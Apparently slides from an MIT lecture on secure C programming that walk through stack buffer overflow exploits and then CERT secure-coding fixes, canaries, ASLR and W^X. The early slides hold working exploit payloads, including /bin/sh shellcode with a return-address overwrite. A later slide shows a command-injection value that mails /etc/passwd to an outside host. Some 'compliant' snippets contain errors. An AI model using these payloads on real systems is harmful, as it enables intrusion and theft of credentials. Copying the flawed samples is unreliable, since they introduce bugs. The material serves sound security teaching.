Secure Programming in C

Lef Ioannidis

MIT EECS

January 5, 2014
Introductions

- **Me**
  

- **You**
  
  Computer programmers with knowledge in C and Systems, can read assembly, interested in writing secure code.
Vulnerability statistics over the years (NIST)
Lecture Roadmap

What we will cover:

- Example attacks and exploits.
- C-specific prevention & mitigation.
- System-wide prevention & mitigation.

**Target:** GNU/Linux systems.
**CC:** GCC $\geq 4.4$. 
Case study: the notorious buffer overflow

A buffer overflow example.

Figure: From Wikimedia commons, buffer overflow basic example.
Memory Management: Linux

- **Kernel space**: User code CANNOT read from nor write to these addresses, doing so results in a Segmentation Fault.
- **Stack (grows down)**
  - Random stack offset
  - RLIMIT_STACK (e.g., 8MB)
  - Random mmap offset
- **Memory Mapping Segment**
  - File mappings (including dynamic libraries) and anonymous mappings. Example: `/lib/libc.so`
- **Heap**
  - Program break `brk`
  - Random `brk` offset
- **BSS segment**
  - Uninitialized static variables, filled with zeros. Example: `static char *user_name;`
- **Data segment**
  - Static variables initialized by the programmer. Example: `static char *gonzo = "God's own prototype";`
- **Text segment (ELF)**
  - Stores the binary image of the process (e.g., `/bin/gonzo`)

http://duartes.org/gustavo/blog/

Lef Ioannidis
How to secure your stack for fun and profit
Vulnerable code

```c
#include <string.h>

#define goodPass "GOODPASS"

int main() {
    char passIsGood=0;
    char buf[80];

    printf("Enter password:\n");
    gets(buf);

    if (strcmp(buf, goodPass)==0)
        passIsGood=1;
    if (passIsGood == 1)
        printf("You win!\n");
}
```

Lef Ioannidis
How to secure your stack for fun and profit
Our first exploit

```
/bin/bash

$ python -c " print 'x'*80 + '\x01' " | ./test1
Enter password:
You win!
$
```

"Never use gets." - GNU Man pages(3), gets

Lef Ioannidis MIT EECS

How to secure your stack for fun and profit
Our first exploit

/bin/bash

$ python -c " print 'x'*80 + '\x01' " | ./test1
Enter password:
You win!
$

**Line 10:** `gets(buf);`

“Never use `gets()`.” - GNU Man pages(3), `gets()`
Secure version of previous code

```c
#include <string.h>
#include <stdio.h>

#define goodPass "GOODPASS"
#define STRSIZE 80

int main() {
    char passIsGood=0;
    char buf[STRSIZE+1];

    printf("Enter password:\n");
    fgets(buf, STRSIZE, stdin);

    if (strncmp(buf, goodPass, STRSIZE)==0)
        passIsGood=1;
    if (passIsGood == 1)
        printf("You win!\n");
}
```

Lef Ioannidis
How to secure your stack for fun and profit
The stack: Linux

Dowd, McDonald, Schuh-The art of software security assessment, fig: 5.3

Lef Ioannidis
How to secure your stack for fun and profit
How functions are pushed in the stack:

```c
void function(int a, int b, int c) {
    char buffer1[5];
    char buffer2[10];
}

void main() {
    function(1, 2, 3);
}
```
Stack frames: x86 assembly

function:
  pushl %ebp
  movl %esp, %ebp
  subl $16, %esp
  leave
  ret

.size function, .function

.globl main
.type main, @function

main:
  pushl %ebp
  movl %esp, %ebp
  subl $12, %esp
  movl $3, 8(%esp)
  movl $2, 4(%esp)
  movl $1, (%esp)
  call function
  leave
  ret
Stack operations to call function

1. `subl $12, %esp`
2. `movl $3, 8(%esp)`
3. `movl $2, 4(%esp)`
4. `movl $1, (%esp)`
5. `call function`

$3 \times \text{sizeof(int)} = 12$ bytes.

- **Note:** The arguments are in reverse order because the **Linux stack grows down**.
- **Call** will push the IP in the stack.
Stack operations to call function

1. `subl $12, %esp`
2. `movl $3, 8(%esp)`
3. `movl $2, 4(%esp)`
4. `movl $1, (%esp)`
5. `call function`

1. `function:`
2. `pushl %ebp`
3. `movl %esp, %ebp`
4. `subl $16, %esp`

- Pushes the base pointer (EBP) in the stack, now it’s a saved frame pointer (SFP).
- Moves the stack pointer (ESP) in EBP, substituting the previous address.
- Subtracts space for the local variables from ESP.
Smashing the stack

Using buffer overflow to overwrite a return address.

Figures: http://skyrooks.ru

Lef Ioannidis
MIT EECS
How to secure your stack for fun and profit
Cool exercise: stack4.c

```c
int main() {
    int cookie;
    char buf[80];

    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);

    if (cookie == 0x000a0d00)
        printf("you win!\n");
}
```

http://community.corest.com/gera/InsecureProgramming/

Lef Ioannidis
How to secure your stack for fun and profit
Cool exercise: stack4.c

```c
int main() {
    int cookie;
    char buf[80];

    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);

    if (cookie == 0x000a0d00)
        printf("you win!\n");
}
```

- Still uses `gets()`, so it is vulnerable to buffer overflow.
- `0x000a0d00 == { NULL, new line, carriage return, NULL }`
- Impossible to write `0x000a0d00` to `cookie` because all these bytes trigger `gets()` to stop reading characters.
- We need to redirect program flow to `printf("You win\n");`
When a function is called it immediately pushes the EIP into the stack (SFP).

After it is complete a `ret` instruction pops the stack and moves SFP back to EIP.

Trick: Overwrite the SFP, while it’s in the stack.
Exploiting stack #4.c

```
$ gdb stack4
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
$
```

EIP is overwritten! 0x61616161 = “aaaa”
Now let’s disassemble main():

```
Now let’s disassemble main()

1 0x08048424 <main+0>: push %ebp
2 0x08048425 <main+1>: mov %esp,%ebp
3 0x08048427 <main+3>: and $0xffffffff0,%esp
4 0x0804842a <main+6>: sub $0x70,%esp
5 0x0804842d <main+9>: lea 0x6c(%esp),%eax
6 0x08048431 <main+13>: mov %eax,0x8(%esp)
7 0x08048435 <main+17>: lea 0x1c(%esp),%eax
8 0x08048439 <main+21>: mov %eax,0x4(%esp)
9 0x0804843d <main+25>: movl $0x8048530,(%esp)
10 0x08048444 <main+32>: call 0x8048350 <printf@plt>
11 0x08048449 <main+37>: lea 0x1c(%esp),%eax
12 0x0804844d <main+41>: mov %eax,(%esp)
13 0x08048450 <main+44>: call 0x8048330 <gets@plt>
14 0x08048455 <main+49>: mov 0x6c(%esp),%eax
15 0x08048459 <main+53>: cmp $0xa0d00,%eax
16 0x0804845e <main+58>: jne 0x804846c <main+72>
17 0x08048460 <main+60>: movl $0x8048548,(%esp)
18 0x08048467 <main+67>: call 0x8048360 <puts@plt>
19 0x0804846c <main+72>: leave
20 0x0804846d <main+73>: ret
```

Lef Ioannidis

How to secure your stack for fun and profit
How to secure your stack for fun and profit
We have everything we need

buf: bffff58c

esp: 0xbffff5ec 0xbffff5ec

1 0x08048459 <main+53>: cmp $0xa0d00,%eax
2 0x0804845e <main+58>: jne 0x804846c <main+72>
3 0x08048460 <main+60>: movl $0x8048548,(%esp)
4 0x08048467 <main+67>: call 0x8048360 <puts@plt>

- 0xbffff5ec − 0xbffff58c = 0x00000060 = 96 bytes we need to overflow.
- Jump to: 0x08048460
- Linux → Reverse stack → \x60\x84\x04\x08
Payload: Control Flow Redirection

$ python -c "print 'a' * 96 + '\x60\x84\x04\x08'" | ./test1
buf: bfffffff58c cookie: bfffffff5dc
you win!
Segmentation fault
$
Payload: Getting shell

```
#!/usr/bin/env python

shellcode = '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\n\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\n\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\nxff\xff/bin/sh'

print shellcode + '\x90' * 51 + '\x5c\xb3\x04\x08'
```

```
$ python exploit.py | ./stack4
buf: bffff58c cookie: bffff5dc
$ /bin/bash -> Got shell!
```

Lef Ioannidis
How to secure your stack for fun and profit
Other Attacks

- **Off-by-one exploits**
  Common programming mistake when computing array boundaries. In little endian architectures this can result in overwriting the least significant byte.

  Apache off-by-one bug 2007, sudo off-by-one bug 2008 etc.
Other Attacks

- **Return-to-libc**

  Similar in principal to a buffer overflow but instead of executing arbitrary shellcode you call functions from libc.so.

  Works when a `noexec` stack is enforced.
- **Heap Overflow**

  Taking advantage of libc bugs to take over dynamically allocated memory, or even the memory allocator itself. Many 0-day exploits nowadays are heap overflows.

  *He who controls the allocator, controls the system!* - Anonymous
More information

- The Phrack magazine. ([http://www.phrack.org](http://www.phrack.org))
- The Defcon Conference. ([http://www.defcon.org](http://www.defcon.org))
- LL CTF, MIT SEC seminars. ([http://llctf.mit.edu](http://llctf.mit.edu))

Next: C-specific prevention & mitigation
Secure your code: CERT secure coding standards

- Standards for C, C++ and Java (some still under development).
- Managed string library.
- Real world examples of insecure code.
Learning by the coutner-example of others

Bad code examples will help you learn how to write secure code and prevent:

- Security Holes
- Undefined beheaviour
- Obscurity
- Errors
```c
int main(int argc, char *argv[]) {
    char cmdline[4096];
    cmdline[0] = '\0';

    for (int i = 1; i < argc; ++i) {
        strcat(cmdline, argv[i]);
        strcat(cmdline, " ");
    }
    /* ... */
    return 0;
}
```
int main(int argc, char *argv[]) {
    size_t bufsize = 0;
    size_t buflen = 0;
    char* cmdline = NULL;
    for (int i = 1; i < argc; ++i) {
        const size_t len = strlen(argv[i]);
        if (bufsize - buflen <= len) {
            bufsize = (bufsize + len) * 2;
            cmdline = realloc(cmdline, bufsize);
            if (NULL == cmdline)
                return 1; /* realloc failure */
        }
        memcpy(cmdline + buflen, argv[i], len);
        buflen += len;
        cmdline[buflen++] = '\0';
    }
    cmdline[buflen] = '\0';
    /* ... */
    free(cmdline);
    return 0;
}
String null termination errors #2

```c
1 char buf[BUFSIZ];
2 if (gets(buf) == NULL) {
3     /* Handle Error */
4 } 
```
Compliant code

```c
char buf[BUFFERSIZE];
int ch;
char *p;

if (fgets(buf, sizeof(buf), stdin)) {
    /* fgets succeeds, scan for newline character */
    p = strchr(buf, '\n');
    if (p)
        *p = '\0';
    else {
        /* newline not found, flush stdin to end of line */
        while (((ch = getchar()) != '\n')
            && !feof(stdin)
                && !ferror(stdin))
        );
    }
} else {
    /* fgets failed, handle error */
}
```

Lef Ioannidis
How to secure your stack for fun and profit
String null termination errors #3

1. `char *string_data;`
2. `char a[16];`
3. `/* ... */`
4. `strncpy(a, string_data, sizeof(a));`
Compliant solution:

```c
char *string_data = NULL;
char a[16];

/* ... */

if (string_data == NULL) {
    /* Handle null pointer error */
}
else if (strlen(string_data) >= sizeof(a)) {
    /* Handle overlong string error */
}
else {
    strcpy(a, string_data);
}
```

Lef Ioannidis
How to secure your stack for fun and profit
Passing strings to complex subsystems

```
1  printf(buffer, "/bin/mail %s < /tmp/email", addr);
2  system(buffer);
```
Passing strings to complex subsystems

```c
1  sprintf(buffer, "\/bin/\mail %s < \tmp/\email\", addr);
2  system(buffer);
```

What if:
bogus@addr.com; cat /etc/passwd |mail somebadguy.net
Compliant solution: Whitelisting

```c
static char ok_chars[] = " "abcdefghijklmnopqrstuvwxyz"
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    "1234567890_.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp = user_data; /* cursor into string */
const char *end = user_data + strlen(user_data);
for (cp += strspn(cp, ok_chars);
     cp != end;
     cp += strspn(cp, ok_chars)) {
    *cp = '_';
}
```

Based on the tcp_wrappers package written by Wietse Venema

Lef Ioannidis
How to secure your stack for fun and profit
Off-by-one errors

Can you find all the off-by-one errors?

```c
int main(int argc, char* argv[]) {
    char source[10];
    strcpy(source, "0123456789");
    char *dest = (char *)malloc(strlen(source));
    for (int i=1; i <= 11; i++) {
        dest[i] = source[i];
    }
    dest[i] = '\0';
    printf("dest = %s", dest);
}
```

Robert Seacord, CERT: Safer strings in C

Lef Ioannidis
How to secure your stack for fun and profit
Integer overflow errors #1: Addition

```
unsigned int ui1, ui2, usum;

/* Initialize ui1 and ui2 */
usum = ui1 + ui2;
```
unsigned int ui1, ui2, usum;

/* Initialize ui1 and ui2 */

if (UINT_MAX - ui1 < ui2) {
    /* handle error condition */
}
else {
    usum = ui1 + ui2;
}
Integer overfloat errors#2: Subtraction

```c
signed int si1, si2, result;
/* Initialize si1 and si2 */
result = si1 - si2;
```
Compliant code

```c
signed int si1, si2, result;
/* Initialize si1 and si2 */
if ((si2 > 0 && si1 < INT_MIN + si2) ||
    (si2 < 0 && si1 > INT_MAX + si2)) {
    /* handle error condition */
} else {
    result = si1 - si2;
}
```
Integer overfloat errors#3: Multiplication

```c
signed int si1, si2, result;

/* ... */

result = si1 * si2;
```
Compliant code

```c
signed int si1, si2, result;

/* Initialize si1 and si2 */
static_assert(
    sizeof(long long) >= 2 * sizeof(int),
    "Unable to detect overflow after multiplication"
);
signed long long tmp = (signed long long)si1 *
                        (signed long long)si2;

/* If the product cannot be represented as a 32-bit integer, */
/* handle as an error condition. */
if ( (tmp > INT_MAX) || (tmp < INT_MIN) ) {
    /* handle error condition */
}
else {
    result = (int)tmp;
}
```

Lef Ioannidis
How to secure your stack for fun and profit
GCC Preprocessor: Inlines VS macros

- Non-compliant code

1. \#define CUBE(X) ((X) * (X) * (X))
2. int i = 2;
3. int a = 81 / CUBE(++i);

Expands to:
4. int a = 81 / ((++i) * (++i) * (++i)); // Undefined!

Compliant code
1. inline int cube(int i)
2. {
3. return i * i;
4. }
5. int i = 2;
6. int a = 81 / cube(++i);
Non-compliant code

```c
#define CUBE(X) ((X) * (X) * (X))
int i = 2;
int a = 81 / CUBE(++i);
```

Expands to:

```c
int a = 81 / ((++i) * (++i) * (++i)); // Undefined!
```
GCC Preprocessor: Inlines VS macros

- Non-compliant code

```c
#define CUBE(X) ((X) * (X) * (X))
int i = 2;
int a = 81 / CUBE(++i);
```

Expands to:

```c
int a = 81 / ((++i) * (++i) * (++i)); // Undefined!
```

- Compliant code

```c
inline int cube(int i) {
    return i * i * i;
}
int i = 2;
int a = 81 / cube(++i);
```
Pointer arithmetic: Never for different arrays

```c
int nums[SIZE];
char *strings[SIZE];
int *next_num_ptr = nums;
int free_bytes;

/* increment next_num_ptr as array fills */
free_bytes = strings - (char **)next_num_ptr;
```
Compliant solution

```c
int nums[SIZE];
char *strings[SIZE];
int *next_num_ptr = nums;
int free_bytes;

/* increment next_num_ptr as array fills */
free_bytes = (&(nums[SIZE]) - next_num_ptr) * sizeof(int);
```
Non-compliant code

```
#define F(x) (++operations, ++calls_to_F, 2*x)
#define G(x) (++operations, ++calls_to_G, x + 1)

y = F(x) + G(x);
```
Non-compliant code

1. \#define F(x) (++operations, ++calls_to_F, 2*x)
2. \#define G(x) (++operations, ++calls_to_G, x + 1)
3. 
4. y = F(x) + G(x);

The variable operations is both read and modified twice in the same expression, so it can receive the wrong value.
Compliant code

```c
inline int f(int x) {
    ++operations;
    ++calls_to_f;
    return 2*x;
}
inline int g(int x) {
    ++operations;
    ++calls_to_g;
    return x + 1;
}
y = f(x) + g(x);
```
Advanced techniques for securing your code

- Using secure libraries: Managed string library, Microsoft secure string library, safeStr.
Advanced techniques for securing your code

- Using secure libraries: Managed string library, Microsoft secure string library, safeStr.
- They provide alternatives to insecure standard C functions. (i.e.: safeStr)

  - safestr_append()
  - safestr_nappend()
  - safestr_compare()
  - safestr_find()
  - safestr_copy()
  - safestr_length()
  - safestr_sprintf()
  - safestr_vsprintf()

  - strcat()
  - strncat()
  - strcpy()
  - strncpy()
  - strcmp()
  - strlen()
  - sprintf()
  - vsprintf()
Advanced techniques for securing your code

- **Canaries**
  - **Terminator**: NULL, CR, LF, -1. Weak because the canary is known.
  - **Random**: Generating random bytes in the end of buffer during runtime.
  - **Random XOR**: Random canaries XOR scrambled with all or parts of the control data.
Protecting your System

- **W^X protection**, the data section on the stack is flagged as not executable and the program memory as not writable.
Protecting your System

- W^X protection, the data section on the stack is flagged as not executable and the program memory as not writable.
- ASLR: Address space layout randomization. Randomly allocate shared libraries, stack and heap.
Protecting your System

- \( W^X \) protection, the data section on the stack is flagged as not executable and the program memory as not writable.
- ASLR: Address space layout randomization. Randomly allocate shared libraries, stack and heap.
- Setting the NX bit: CPU support for flagging executable and non-executable data. Reduces overhead for \( W^X \).
Protecting your System

- W^X protection, the data section on the stack is flagged as not executable and the program memory as not writable.
- ASLR: Address space layout randomization. Randomly allocate shared libraries, stack and heap.
- Setting the NX bit: CPU support for flagging executable and non-executable data. Reduces overhead for W^X.
Examples

- PaX on Linux
Examples

- PaX on Linux
- OpenBSD kernel
Examples

- PaX on Linux
- OpenBSD kernel
- Hardened Gentoo
Examples

- PaX on Linux
- OpenBSD kernel
- Hardened Gentoo
- grsecurity
Examples

- PaX on Linux
- OpenBSD kernel
- Hardened Gentoo
- grsecurity
- Microsoft Windows Server 2008 R2
That’s all!

Thank you. Questions?